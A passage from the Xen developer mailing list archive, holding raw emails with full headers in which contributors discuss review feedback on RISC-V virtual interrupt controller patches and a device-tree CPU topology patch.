>>       const struct vintc_init_ops *init_ops;
>> +    const struct vintc_ops *ops;
>>   };
> 
> I may have asked before: Why two distinct structures, next to each other
> (and without any comment guiding what is to go where)? 

I will add the comments:

     /* Used during domain build only; dropped afterwards. */
     const struct vintc_init_ops *init_ops;
     /* Runtime callbacks used for the lifetime of the guest. */
     const struct vintc_ops *ops;

> Plus you only set
> ...
> 
>> --- /dev/null
>> +++ b/xen/arch/riscv/vaplic.c
>> @@ -0,0 +1,63 @@
>> +/* SPDX-License-Identifier: MIT */
>> +/*
>> + * xen/arch/riscv/vaplic.c
>> + *
>> + * Virtual RISC-V Advanced Platform-Level Interrupt Controller support
>> + *
>> + * Copyright (c) Microchip.
>> + * Copyright (c) Vates
>> + */
>> +
>> +#include <xen/errno.h>
>> +#include <xen/sched.h>
>> +#include <xen/xvmalloc.h>
>> +
>> +#include <asm/aia.h>
>> +#include <asm/imsic.h>
>> +#include <asm/intc.h>
>> +#include <asm/vaplic.h>
>> +
>> +#include "aplic-priv.h"
>> +
>> +static int cf_check vaplic_init(struct vcpu *v)
>> +{
>> +    return vcpu_imsic_init(v);
>> +}
>> +
>> +static void cf_check vaplic_deinit(struct vcpu *v)
>> +{
>> +    return vcpu_imsic_deinit(v);
>> +}
>> +
>> +static const struct vintc_ops vintc_ops = {
>> +    .vcpu_init = vaplic_init,
>> +    .vcpu_deinit = vaplic_deinit,
>> +};
>> +
>> +int domain_vaplic_init(struct domain *d)
>> +{
>> +    struct vaplic *vaplic = xvzalloc(struct vaplic);
>> +
>> +    if ( !vaplic )
>> +        return -ENOMEM;
>> +
>> +    d->arch.vintc = &vaplic->vintc;
>> +    d->arch.vintc->ops = &vintc_ops;
>> +
>> +    vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
>> +                             APLIC_DOMAINCFG_RO;
>> +
>> +    return 0;
>> +}
> 
> ... ->ops here, leaving ->init_ops at NULL (prone to a deref that'll crash).

It is init-ed in [PATCH v4 20/25] xen/riscv: create APLIC DT node for 
guest domains and nothing between this patches could use ->ops. I will 
update the commit message to point that.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 10:33:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 10:33:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349726.1607382 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesFZ-0001y4-Ti; Wed, 01 Jul 2026 10:33:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349726.1607382; Wed, 01 Jul 2026 10:33:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesFZ-0001xx-RA; Wed, 01 Jul 2026 10:33:01 +0000
Received: by outflank-mailman (input) for mailman id 1349726;
 Wed, 01 Jul 2026 10:33:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wesFY-0001xr-Oc
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 10:33:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesFY-002K3H-5R
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 12:33:00 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44ecd4-bab6-0a2a0a5309dd-0a2a4508850a-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:00 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44ecda-edec-0a2a45080019-d155802ae54b-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:58 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493ae59eca6so3611575e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 03:32:58 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c0e92687sm31842285e9.0.2026.07.01.03.32.57
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 03:32:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782901978; x=1783506778; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=0Nspqi0L/FvaaEelw0vLuhfkp8XgCfb5VdSEDQnxQXI=;
        b=AcL9rL8xP0AC5H6jotR1kA76UJQrXLQdKPmURzl+l94Yr1EvX21MxTStSTEOed/Mxx
         661ZQgwJs+t86v82lbFEXbMmZx1JpPyveqTSuApJYMvTIAjNHqpjFsRDNOiRgKyfEZTx
         C1Un8dlHWJds0b+t0C5j0AHwSkUeU0r+2M4e5j9D/p4JTwqzPs7kkZSpLyD/N7yR4+p2
         pw6nTMOKTsliI4SlxRB/lp1Plp10pPq/8vPGOQ7539v2baUCBuyRum4oGYCQd/fpegQc
         BzFskz7xBGn15De0FBOKzc0G52fxuvXqnx/ahFzO0gNNkGGN21gBDh2I/tOcAMBGWdjq
         7ZwA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782901978; x=1783506778;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=0Nspqi0L/FvaaEelw0vLuhfkp8XgCfb5VdSEDQnxQXI=;
        b=PjcRNH5uEePYHVMPKXGWrk1m1+Sjx0Ybu4/O1JPGCA4QDovqokKzXFAbk+9/PUK4Vt
         bCnXH2X0cTUh/u5upxm8inFXqpoO3AgPEcHblmKrWRICmvndLVIQ1I1LH6KLsBYJuSr0
         qcZCsqzTBWKV+xNyB/h4l7u5p7zG/4ALj+RB+lDkISxVefJ5sGieWfeBZwsrrqM/fN6X
         jbt6Ksj09//NDZIKuDYbtOe4vuyUtCQawk8f0szrkWBectP+iMUkr144Rw8mbniRbjy6
         ptfN5c/FYjbZf8wyL4OqQiQJQ1Z2aOsOS/YTacaHc/Ieo38fos7W0lW69tONEiZcH4Dj
         IrDQ==
X-Forwarded-Encrypted: i=1; AFNElJ+GgFU6PWsn+eciTKRf2A4WdA68+S27lOZSMpevy2VFlVJ3wnXm353yX/70dda3cg7JZf40nf5+xLw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzN1ugwCid4ak89s1fj2IN5NpvhEMbwVvvRTR5n0ysbsiSsO8Ok
	X0G5T/U7TAwbeIINUTHvUJ9Xd1yB44l/c2VIhWil/G7kgR/HsL/KrnUz
X-Gm-Gg: AfdE7clmLxVa6cJ03d3Unm5cKSWBT46uLvgGFhIEIVT5vC1YtvI9NDnzKhvO9qrEy8x
	YJJr6+TVGaTRjY3cQNXv8TQr/qZGs6hV0VBCeRiXy/LJ6d9IAUEXGeAZFhrky29BoWfKlr8JW6m
	wvsTIqcHTl7ywDkXZYwD+0DhbIw6imTSGe8o9VGR/G+1QEqu0XTigeFF9rBU4RsRqMazyR6Luy/
	NzTPnD28qNy5PTpyVfli93E8r1CCEGsyfAorDHyrKV5HumkycEm6frLDUTZNletlO4XB/0UzvAr
	e07E4qLfgWmEaWDoMctTcX/NLvBWxvE4EP2s9yQT+YW+KbPxJSndMR3E1QQ6CSB4fE60K+IbVun
	8FxxBhCrO9EGvN6k2huz6jlzuidKmthQYAu5f8TnranTALky1Xxj8psUkTD4gHQgr/79di57DGN
	7CDmni+WOY1e8B9y2bzCaFdwDX529ceyQWpCGWlwI16Z7CFRtaQkGHdmbBbuIMuCy1GS0=
X-Received: by 2002:a05:600c:3b05:b0:493:c337:db18 with SMTP id 5b1f17b1804b1-493c337dc47mr10143765e9.16.1782901978196;
        Wed, 01 Jul 2026 03:32:58 -0700 (PDT)
Message-ID: <8b1180b3-a165-409b-93e3-400b0aeb7039@gmail.com>
Date: Wed, 1 Jul 2026 12:32:56 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 17/25] xen/riscv: rename enum intc_version to
 intc_variant
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <542b22adf7bfb2a60baba201ef89df260d9bfd1c.1782487661.git.oleksii.kurochko@gmail.com>
 <8ccc2b52-ede8-4eb4-9056-49f1aad5e08e@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <8ccc2b52-ede8-4eb4-9056-49f1aad5e08e@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1782901978-4293D3FC-A15FF1D8/10/73395122804
X-purgate-type: spam
X-purgate-size: 797



On 6/29/26 5:04 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> Rename the enum to intc_variant and the structure member from hw_version
>> to hw_variant to better reflect that these values select between
>> different controller variants, not versions of the same one.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> (perhaps also Requested.by: or Suggested-by:)

Sure, I will add one of the tag.



> 
> It looks as if this might be independent of earlier patches, and could go
> in soon after branching?

Yes, it is fully independent. If at the momemnt of posting of v5 it 
won't be committed I will just move this patch to the start of patch series.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 10:52:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 10:52:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349739.1607392 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesYa-00054o-Dz; Wed, 01 Jul 2026 10:52:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349739.1607392; Wed, 01 Jul 2026 10:52:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesYa-00054h-BR; Wed, 01 Jul 2026 10:52:40 +0000
Received: by outflank-mailman (input) for mailman id 1349739;
 Wed, 01 Jul 2026 10:52:39 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wesYZ-00054b-31
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 10:52:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesYY-008DJG-Fv
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 12:52:38 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44f176-e002-0a2a0a5209dd-0a2a4501ba36-0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:52:38 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44f176-400f-0a2a45010019-d1558035b871-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:52:38 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c2b3dc8bso2449635e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 03:52:38 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47566fe448dsm16010183f8f.27.2026.07.01.03.52.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 03:52:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782903158; x=1783507958; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=ZcE6jBxr6nihgfqAzS4ZqpmQQYuTZk3PkpqYA/Nt5TU=;
        b=IGSdwTtF9RLZgaPaPA+2hvfZl8+1xHTv4uLZFzv4w9C86CyHd3OVI3ZxWw9hAXnEtl
         Tt+WLD1PmjkLVpoMjcngffWRgul2v5o2ntLNv3+bBkYvpMLnfmOp4IbdDr2Oonh2hQsa
         qlY6PZQ2XvGJZxhxH1b+KH36SFarmvYUJAUvIHsSmBILrd2+kVs32PDUTQfuT2HYu3TN
         7p1m/XbuveKkeeS78djaSQ3wcOJun5NxaIkx13RVVhqjLJJQE4byA0C9f7WkxebCLgdh
         nn3CUKLhLiSwEANYmJLoah7SeQ7OdYlXhILK1o4MvzXVKh1QIdXJ/qZ9Hw6D/Azqho/X
         OzcA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782903158; x=1783507958;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=ZcE6jBxr6nihgfqAzS4ZqpmQQYuTZk3PkpqYA/Nt5TU=;
        b=TNNJwY6fXsyiXHwPidV3DAM5ca/WbBXfscltyoHlNZYqe5XuXVtOY+7UAPtvpJS8sG
         vB5LmNStwjT93UJIdieWUvqgZJyuSkPTMIwcRCy/TM9YarI5+QnTzLz/uxDxovPc5WBz
         lUPTZMAbq5JpR+gmamxzUxikyKYsFfsMB8CeD6JEf88T0aAlC/rRUAK/M2QVG/8fSO95
         cRjsNHLUFCohaAWv+C+KtuczY8U5YaXYIhJmM0rTToy1gyyOuncHcxQ71x8owaWra4/x
         M+SVW3CaUXMgSHx/OwHSXtREcdL7IXpEQiLquWV7pJIg2XJUOd0CNnzc21i9iD58cIxG
         gBwA==
X-Forwarded-Encrypted: i=1; AFNElJ9tqEh5zw/uTUvObD8lUBmRrTcynVsipsoM3QBinjPVmyVZ6SQ7Px+m9kGWKqWO0G4qM5LPYr0FXmA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy0tbuMUF+S/c0p/mY9L0a5bKAmZ91xWFxnVi51mcM/LL+MNCjJ
	rH6N/8nwJdaPkLqUVN4qVNtLxyywpFntS0AvXnAhfzoNeM6BhYyylLuO
X-Gm-Gg: AfdE7ckbzunoEc/qEZ+pcSn+NMO0pde7QjHN+2riRkYsOpvBDMgo4cnIau1OukvFp/2
	di4lzaqmhTo2H2pd1i2x9eJWHT+NMmWkewD3p7YRAyyuSBLLTLsdPN7tZmxNJ319ipXRtVppJtR
	U4RloBa9UPrDTv+sYXMHmkzSK5HANUXjF9GdIosTsv7fNgGlOiw8PZ4Hj+J8ioqtEo7v4lnjUgL
	wmrcyKSAqSgoFgJi11cVCJm0YGFKwNS3OlEDsbMYWjJHJ7/+/xuQVkBBzbFyENtWnywqoIduEuE
	sFFN7F5mKTh0tfESjlk5eealw7Bl3xZLA1n8d/41dK2clAolkD5qYWjQtU+qlx6P9e972yTEgbP
	pgA/PTmcpTV6HjpjjPKLIweyi1AkCbbgfMtx8LCXWqWn7wfpO89BCKY8sN7ajoqEhQAMJYyAaKk
	EPX0+tBNoey3OS3tLhxzLMWSDvniISncNidQYGAhexnxVBSTC7hDjQNDVEuVQ9cfImirU=
X-Received: by 2002:a05:600d:c:b0:493:8391:919a with SMTP id 5b1f17b1804b1-493c2b433dbmr16095845e9.16.1782903157864;
        Wed, 01 Jul 2026 03:52:37 -0700 (PDT)
Message-ID: <05173913-e6e0-4602-a75d-96ce134bd2ec@gmail.com>
Date: Wed, 1 Jul 2026 12:52:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 18/25] xen/riscv: introduce (de)initialization helpers
 for vINTC
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <ac0b9a985afc35023822150062b4f14f5a583bea.1782487661.git.oleksii.kurochko@gmail.com>
 <109135cb-7ad6-49f4-88c7-49ffb33e0068@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <109135cb-7ad6-49f4-88c7-49ffb33e0068@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1782903158-826C31E0-C7E57116/10/73395122804
X-purgate-type: spam
X-purgate-size: 1234



On 6/29/26 5:07 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> Add common helpers domain_vintc_init() and domain_vintc_deinit() to
>> allocate and deallocate a virtual interrupt controller (vINTC)
>> structure and initialize basic virtual interrupt controller registers.
>>
>> domain_vintc_deinit() isn't called at the moment as arch_domain_destroy()
>> is implemented as stub at the moment.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> with one more suggestion:
> 
>> @@ -83,3 +84,37 @@ int __init make_intc_domU_node(struct kernel_info *kinfo)
>>   
>>       return vintc->init_ops->make_domu_dt_node(kinfo);
>>   }
>> +
>> +int domain_vintc_init(struct domain *d)
>> +{
>> +    int ret = -EOPNOTSUPP;
>> +    const enum intc_variant variant = intc_hw_ops->info->hw_variant;
>> +
>> +    switch ( variant )
>> +    {
>> +    case INTC_APLIC:
>> +        ret = domain_vaplic_init(d);
>> +        break;
>> +
>> +    default:
>> +        printk("vintc (variant:%d) isn't implemented\n", variant);
> 
> printk_once() maybe?

It makes sense. I will apply your suggestions.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:11:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:11:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349759.1607401 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesr5-0000DH-V0; Wed, 01 Jul 2026 11:11:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349759.1607401; Wed, 01 Jul 2026 11:11:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesr5-0000DA-Rc; Wed, 01 Jul 2026 11:11:47 +0000
Received: by outflank-mailman (input) for mailman id 1349759;
 Wed, 01 Jul 2026 11:11:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wesr4-0000D4-CT
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:11:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesr3-0035Nn-PN
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:11:45 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a44f5e4-5cb7-0a2a0a5109dd-0a2a4503e6fe-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:11:44 +0200
Received: from [40.107.74.91]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a44f5ed-ec1a-0a2a45030019-286b4a5b4f16-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:11:43 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB3533.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:3a8::8) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.9; Wed, 1 Jul 2026
 11:11:38 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 11:11:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=pdn9aueWxvzjqgdflqG6X8OklWM7Cwg7zzDgrwF18YORjGx6KhaIW9+0fRIKcIS/n2cfYMylK8gqkNbaJQm92VrhYAvW0+2amSiHSFDjmH1uayoaxfuW9TIQrVKJ3pwy8HdGExH+2joUP7zDGx6On6eZLgLxg2Nex/co0ZVDfoqeR/IQ7E0JRKOozO9V2sMOXFoKRFpBrmrCq2CJ+OKhhDkPEnTs10FRbYOwGubc05bx+QKboVphsqISHSTR3AzfhMpWmakqIPB7hZfKi1lGxXgyR1veUTB5ujRUTaDZAAKBMZwcJwauLlEFgup63qyFXAHcoZHMapVN3qUJ87wOFg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=iXBgle9xM1cKViHVNR6Q0Rw1ntSnR4KBBogbLDaQwBY=;
 b=C0iosgc/GOGIYCm9rwVc1/aA1WYtyBSCAu6rSiStSWHQ5/xfmdjNkwM05QFhMexesMygr1iOm7sDD1GNxc4yJgrvkaXtVQNUybyyCckfVelCyD9V1WFzdx+E9KoWnWMUZSM7FZhQ8V9PGR0zcnTNT1LUowiNBEC9DQUBvD1ii7gH1iNjr2itnkv/VY8xETzMpljSQlCWsEKUTLxWDxLO+3STrdJyfE3rS4VTjKaTuqtU3OHUylnfWJW/0ZUe/L3jkcIiBZka6keFJFKjvWYyj5/z5fZNxYy1u6DeOOv5o2p041ClP05/nAXFDXutHcZYa4KSwcRlT6KctNACETGVCg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=iXBgle9xM1cKViHVNR6Q0Rw1ntSnR4KBBogbLDaQwBY=;
 b=eUi0ttREDM1JZLZmxBRmqV2MsZkum02jB2BeGBzlxeAVplXwQaHBOxobXiS6ZeGh3k+YoUdXO8s8Xkpq7k6xteF99s5WfOFwyN68dFS/rKSrsU4wZfglifknhqkhNeRQ6mpLt7FYf4BmrxRmXH+HqFej62WKPWDtXzOGizNNRAA=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdCBJguMZzJpb/JEe22XtErI4LcbZWqjWAgAHISeA=
Date: Wed, 1 Jul 2026 11:11:37 +0000
Message-ID:
 <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-2-taka@valinux.co.jp>
 <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
In-Reply-To: <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYCP286MB3533:EE_
x-ms-office365-filtering-correlation-id: 9e597f31-4aef-4ace-2785-08ded7618521
